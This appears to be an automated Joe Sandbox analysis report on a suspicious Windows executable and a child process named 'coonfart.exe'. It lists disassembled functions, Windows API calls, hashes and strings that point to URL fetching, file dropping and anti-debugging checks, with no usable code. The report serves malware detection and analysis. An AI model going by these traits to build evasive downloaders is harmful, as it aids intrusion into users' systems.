API ID: Query_perf_counterQuery_perf_frequencySleep
String ID:
API String ID: 2072706261-0
Opcode ID: c3a718402a3889e90bc4ed292276ae6978282ec1decbbe50749ddf36e5327fb1
Instruction ID: b40f8641d16f2949365e5fa76288e8a38a861f81fb1a42c70578a96b200126fa
Opcode Fuzzy Hash: c3a718402a3889e90bc4ed292276ae6978282ec1decbbe50749ddf36e5327fb1
Instruction Fuzzy Hash: 5B315A61B0778A41EE08CB69B566579A395FB84BD0F48A136DE1F6B7D2FD3CE0424300

Function 00007FF6ACE85AF8 Relevance: 4.5, APIs: 3, Instructions: 21
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6ACE813B3), ref: 00007FF6ACE85B12
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6ACE85B28

Part of subcall function 00007FF6ACE86294: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6ACE8629D
Part of subcall function 00007FF6ACE86294: _CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF6ACE85B2D,?,?,?,00007FF6ACE813B3), ref: 00007FF6ACE862AE

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6ACE85B2E

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: Concurrency::cancel_current_task$ExceptionThrowmallocstd::bad_alloc::bad_alloc
String ID:
API String ID: 594857686-0
Opcode ID: 9b9b924148bc05b72d239458088072916151ad811da7a7a7414cdb37cb802451
Instruction ID: 98ba7bdde5c7759390ae29331b0cfa05770fcfb268a944be21448fbf5a2f8beb
Opcode Fuzzy Hash: 9b9b924148bc05b72d239458088072916151ad811da7a7a7414cdb37cb802451
Instruction Fuzzy Hash: 46E0E274E1B20705FD682AA21806CB462447F69BB0E182F30DA7DE92C2AD1CE4918360

Function 00007FF6ACE84A20 Relevance: 4.5, APIs: 3, Instructions: 17COMMON

Download Yara Rule

APIs

?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADD@Z.MSVCP140 ref: 00007FF6ACE84A35
?put@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@D@Z.MSVCP140 ref: 00007FF6ACE84A41
?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF6ACE84A4A

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$V12@$?flush@?$basic_ostream@?put@?$basic_ostream@?widen@?$basic_ios@
String ID:
API String ID: 1875450691-0
Opcode ID: 8d937d32ce33f06219499cb6ebe867d977766a1dd49917394ca6ae318040311d
Instruction ID: d4157d273a9f18ee8a596a5ccbf784c2c775c6facab5f9cfd2ef70fbf7ac7909
Opcode Fuzzy Hash: 8d937d32ce33f06219499cb6ebe867d977766a1dd49917394ca6ae318040311d
Instruction Fuzzy Hash: 49D05E22B85A06C2DF089F26B8945382320FF89F96B4CA031DE1F87310CE3CD09A8300

Function 00007FF6ACE838E0 Relevance: 3.1, APIs: 2, Instructions: 63fileCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6ACE83949
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6ACE83980

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: fwritememcpy
String ID:
API String ID: 4173912309-0
Opcode ID: 267b3e36c413e1cd0c63ef0805f91c2eb958757640843b981dae354c8943ec88
Instruction ID: dc7f3d1a00853510529137135906c4f9eae867bf411d238188162d388a63f503
Opcode Fuzzy Hash: 267b3e36c413e1cd0c63ef0805f91c2eb958757640843b981dae354c8943ec88
Instruction Fuzzy Hash: 2511B432B06A4586EA158F9E9450A7977A0FB84FC4F2C1035EF4CA7B55DF3DD4928300

Function 00007FF6ACE84730 Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,00007FF6ACE822C3), ref: 00007FF6ACE84790
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140(?,?,?,00007FF6ACE822C3), ref: 00007FF6ACE847B2

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: D@std@@@std@@Init@?$basic_streambuf@U?$char_traits@fclose
String ID:
API String ID: 356833432-0
Opcode ID: 683fd20ffac98a6d001e8d3efdd7ffe3bf1fe8affbf5983a4d5ad129342566a1
Instruction ID: 37a795b8959fd50b619a07b0cb34666d6e9baa7c4fc7829b3e473c74527e5b9c
Opcode Fuzzy Hash: 683fd20ffac98a6d001e8d3efdd7ffe3bf1fe8affbf5983a4d5ad129342566a1
Instruction Fuzzy Hash: 6511BF36A09B80C1EB448F6AE69432937E4FB89B84F044031DB4D97B60CF39D46AC740

Non-executed Functions

Function 00007FF6ACE863D8 Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6ACE863F4
memset.VCRUNTIME140 ref: 00007FF6ACE86418
RtlCaptureContext.KERNEL32 ref: 00007FF6ACE86421
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6ACE8643B
RtlVirtualUnwind.KERNEL32 ref: 00007FF6ACE8647C
memset.VCRUNTIME140 ref: 00007FF6ACE864AF
IsDebuggerPresent.KERNEL32 ref: 00007FF6ACE864D0
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6ACE864ED
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6ACE864F8

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: b5b9191020113a853293da362aca06a9e83f20045b3b06fb7f443ed2dd9af6f3
Instruction ID: 8acf3a8138176fda5971a8c913300889bc69a681c80dff8400657c05efbbd6ed
Opcode Fuzzy Hash: b5b9191020113a853293da362aca06a9e83f20045b3b06fb7f443ed2dd9af6f3
Instruction Fuzzy Hash: 03312D76709B8186EB608F60E890BED7364FB84744F44443ADA4EA7B98DF38D548C710

Function 00007FF6ACE862B4 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6ACE862E0
GetCurrentThreadId.KERNEL32 ref: 00007FF6ACE862EE
GetCurrentProcessId.KERNEL32 ref: 00007FF6ACE862FA
QueryPerformanceCounter.KERNEL32 ref: 00007FF6ACE8630A

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c2296234de4a2b13368397028495990b08de0f3263ba1c20055b350d41b9d78f
Instruction ID: 67206bc991d50560a74ae3099476b8eb9acc3cefcf3f7ad77c788f1f7c6fcb89
Opcode Fuzzy Hash: c2296234de4a2b13368397028495990b08de0f3263ba1c20055b350d41b9d78f
Instruction Fuzzy Hash: 80111836B15B058AEB008B60EC546A833A4FB59758F440A31EA6DA67A4EF78D5588340

Function 00007FF6ACE8657C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d73cbd7d299344ff5cd7b192302e61a3c3c01d54c6943bf4da688f4da652d51
Instruction ID: 8f848d68a9330641c0e1f4834b9b78eb3ee80b470cc71cbec1cabeff8c7142a9
Opcode Fuzzy Hash: 7d73cbd7d299344ff5cd7b192302e61a3c3c01d54c6943bf4da688f4da652d51
Instruction Fuzzy Hash: 01A00235A4ED06D0E6048B00F870E313334FB60300F504431D01DF25A49F3DE400D700

Function 00007FF6ACE852C0 Relevance: 16.8, APIs: 11, Instructions: 314COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00007FF6ACE8566F), ref: 00007FF6ACE8533E
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,7FFFFFFFFFFFFFFF,00007FF6ACE8566F), ref: 00007FF6ACE85431
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,7FFFFFFFFFFFFFFF,00007FF6ACE8566F), ref: 00007FF6ACE8546E

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memcpy
String ID:
API String ID: 3063020102-0
Opcode ID: 6e1ca49ac21e01fb0ffb537636f145ac82d4b5a7d424c77c0f551e05aa750570
Instruction ID: 8a8e489c7f485421f2f3c5b0cdbe1b29bdb3aa187c9232636de18df71bafd98d
Opcode Fuzzy Hash: 6e1ca49ac21e01fb0ffb537636f145ac82d4b5a7d424c77c0f551e05aa750570
Instruction Fuzzy Hash: 88B1BD72B0BA8581FE249F26A54476D73A2FB04FD4F584231DB6D9BB89DE7CD4918300

Function 00007FF6ACE83B00 Relevance: 10.7, APIs: 7, Instructions: 178COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6ACE83BB2

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: fgetc
String ID:
API String ID: 2807381905-0
Opcode ID: e117d0d938a6ee3e3ecf459bccf3cfd29baf76d293f3edeb3e89dc77dd99eea3
Instruction ID: 42cad988b75f2ce0d5feb7f5592025ef24510379a34055db05c7fa106bded620
Opcode Fuzzy Hash: e117d0d938a6ee3e3ecf459bccf3cfd29baf76d293f3edeb3e89dc77dd99eea3
Instruction Fuzzy Hash: 43917B32B19A81C9EB108F69D4906AC37B4FB48B68F544636DE6DA7B94DF38D494C300

Function 00007FF6ACE851B0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QEAA@H@Z.MSVCP140 ref: 00007FF6ACE851DD
??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF6ACE851F7
?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140 ref: 00007FF6ACE85229
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140 ref: 00007FF6ACE85254
std::_Facet_Register.LIBCPMT ref: 00007FF6ACE8526D
??1_Lockit@std@@QEAA@XZ.MSVCP140 ref: 00007FF6ACE8528C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6ACE852B7

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Concurrency::cancel_current_taskFacet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@std::_
String ID:
API String ID: 762505753-0
Opcode ID: 1a1b6a1305f1ec832787b82b9647c48760f953531d89ea964aabc19d7725c369
Instruction ID: 6bd0d46206a07dfce2f94cac9b7c98c067fd2e015ac6b3e7cef2af767990f100
Opcode Fuzzy Hash: 1a1b6a1305f1ec832787b82b9647c48760f953531d89ea964aabc19d7725c369
Instruction Fuzzy Hash: A6314D32A0AB41C5FF149F51E88056A7370FB98B94F480631EA9EA7BA9DF3CE454C700

Function 00007FF6ACE82CA4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6ACE84410: memcpy.VCRUNTIME140 ref: 00007FF6ACE84471

InternetOpenA.WININET ref: 00007FF6ACE82CC1
InternetOpenUrlA.WININET ref: 00007FF6ACE82D00
InternetCloseHandle.WININET ref: 00007FF6ACE82D11
HttpQueryInfoA.WININET ref: 00007FF6ACE82D48
InternetCloseHandle.WININET ref: 00007FF6ACE82D55
InternetCloseHandle.WININET ref: 00007FF6ACE82D5E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE82E03
SHGetFolderPathA.SHELL32 ref: 00007FF6ACE82E51
memcpy.VCRUNTIME140 ref: 00007FF6ACE82F4B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE83041

Strings

Mozilla/5.0, xrefs: 00007FF6ACE82CBA
[-] proxy 2 fail, xrefs: 00007FF6ACE82E2C

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: Internet$CloseHandle$Open_invalid_parameter_noinfo_noreturnmemcpy$FolderHttpInfoPathQuery
String ID: Mozilla/5.0$[-] proxy 2 fail
API String ID: 1057685838-958313571
Opcode ID: f121a173f4eb18268ceca57d2afda518c6de55dcc6c7384fbcf7b9e1dc934fff
Instruction ID: 4125a2b3c6b458f3eef4c97593aaa99c691e9b486db337ff31a4f1675928ac66
Opcode Fuzzy Hash: f121a173f4eb18268ceca57d2afda518c6de55dcc6c7384fbcf7b9e1dc934fff
Instruction Fuzzy Hash: 37219D72B0A6C2C5FB308B24A894BA932A0FF14798F404231EA5DABBD8DF3CD5459314

Function 00007FF6ACE84410 Relevance: 7.6, APIs: 5, Instructions: 120COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6ACE84471
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE844E0

Part of subcall function 00007FF6ACE85AF8: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6ACE813B3), ref: 00007FF6ACE85B12

memcpy.VCRUNTIME140 ref: 00007FF6ACE84503
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6ACE84528
??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF6ACE84591

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: memcpy$??1?$basic_streambuf@Concurrency::cancel_current_taskD@std@@@std@@U?$char_traits@_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 4201898570-0
Opcode ID: 67b3f95c3ee054f7238ebf52c9aaae056340cb7867f704724b21ac6d1837647c
Instruction ID: ba983533962e7ac68213cfccc7188dc2d632947280916b18d9980ba096b4c733
Opcode Fuzzy Hash: 67b3f95c3ee054f7238ebf52c9aaae056340cb7867f704724b21ac6d1837647c
Instruction Fuzzy Hash: 2141F332A0AB8684EB249F65E4507AD33A4FB44FA4F580231DB6DA77D2DE3CD492C340

Function 00007FF6ACE81370 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 96COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6ACE85AF8: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6ACE813B3), ref: 00007FF6ACE85B12

Part of subcall function 00007FF6ACE85AF8: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6ACE85B28
Part of subcall function 00007FF6ACE85AF8: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6ACE85B2E

rand.API-MS-WIN-CRT-UTILITY-L1-1-0 ref: 00007FF6ACE81478

Strings

gift/, xrefs: 00007FF6ACE8144A
456789, xrefs: 00007FF6ACE813FA
>, xrefs: 00007FF6ACE813BB
?, xrefs: 00007FF6ACE813C4

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: Concurrency::cancel_current_task$mallocrand
String ID: 456789$>$?$gift/
API String ID: 2834162810-2149969741
Opcode ID: 8c57c224103aa00cf4bf45cd0fca84e0de12a80709d8e51393dd6c26426420e6
Instruction ID: 541b5b8e1ba2999728da8a9b784299f36b9b1e05b72e00d86a771e3de45f8d91
Opcode Fuzzy Hash: 8c57c224103aa00cf4bf45cd0fca84e0de12a80709d8e51393dd6c26426420e6
Instruction Fuzzy Hash: 1441A132A1AB85C6E700CF29E88076977A0FB99B84F545235EA8D93756DF7CE181C740

Function 00007FF6ACE86EF8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

__current_exception.VCRUNTIME140 ref: 00007FF6ACE86F2D
__current_exception_context.VCRUNTIME140 ref: 00007FF6ACE86F41
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE86F49

Strings

csm, xrefs: 00007FF6ACE86F19

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: __current_exception__current_exception_contextterminate
String ID: csm
API String ID: 2542180945-1018135373
Opcode ID: edf0eb6e16020d90fbcbd95bbb2420476455b66a082028b9e67859aa44f8f5f8
Instruction ID: 0b4b4997d29fe46e0d0d50e04545d6de24d48dd06f263aa85d5a985a7c8656ba
Opcode Fuzzy Hash: edf0eb6e16020d90fbcbd95bbb2420476455b66a082028b9e67859aa44f8f5f8
Instruction Fuzzy Hash: 07F0F43B60AB85CAC7149F21E8919AC3768F78CB98F496130FA8D97B55CF38D8908700

Function 00007FF6ACE83F40 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c78ae34ec28bf3ebda3800ebf123901912cfc5e1f5589ed62e8da6251769cb43
Instruction ID: b28f2f06b8f472ceb82b84df321e2d4fbcf6922bdd85433923e9bbe7711a71bd
Opcode Fuzzy Hash: c78ae34ec28bf3ebda3800ebf123901912cfc5e1f5589ed62e8da6251769cb43
Instruction Fuzzy Hash: 7B518F32709B82C5DB108F68E4507AEB7A0FB84B94F544236EA9D977A8EF7CC448C701

Function 00007FF6ACE842F0 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF6ACE8433F
memset.VCRUNTIME140 ref: 00007FF6ACE843DE
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6ACE843FD

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: memset$Concurrency::cancel_current_task
String ID:
API String ID: 3006004123-0
Opcode ID: e5dd1f8391d494b9ae2707580d8f0eefd2baee3561a688cd81735adb57ffa14d
Instruction ID: 734483ef5fdc93c2748ccab0254d48f5012d7a2d5257f7468921bba8f5fb5853
Opcode Fuzzy Hash: e5dd1f8391d494b9ae2707580d8f0eefd2baee3561a688cd81735adb57ffa14d
Instruction Fuzzy Hash: F521E332A06B8285FA149B65A1507AD3294FF44BE4F244B30DB6C677D2DE7CE5918340

Analysis Process: coonfart.exePID: 4320, Parent PID: 2832COMMON

Execution Graph

Execution Coverage:	25.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	21.4%
Total number of Nodes:	14
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFD9BAA76EA Relevance: 1.7, APIs: 1, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32 ref: 00007FFD9BAA7B80

Memory Dump Source

Source File: 00000002.00000002.2934430956.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9baa0000_coonfart.jbxd

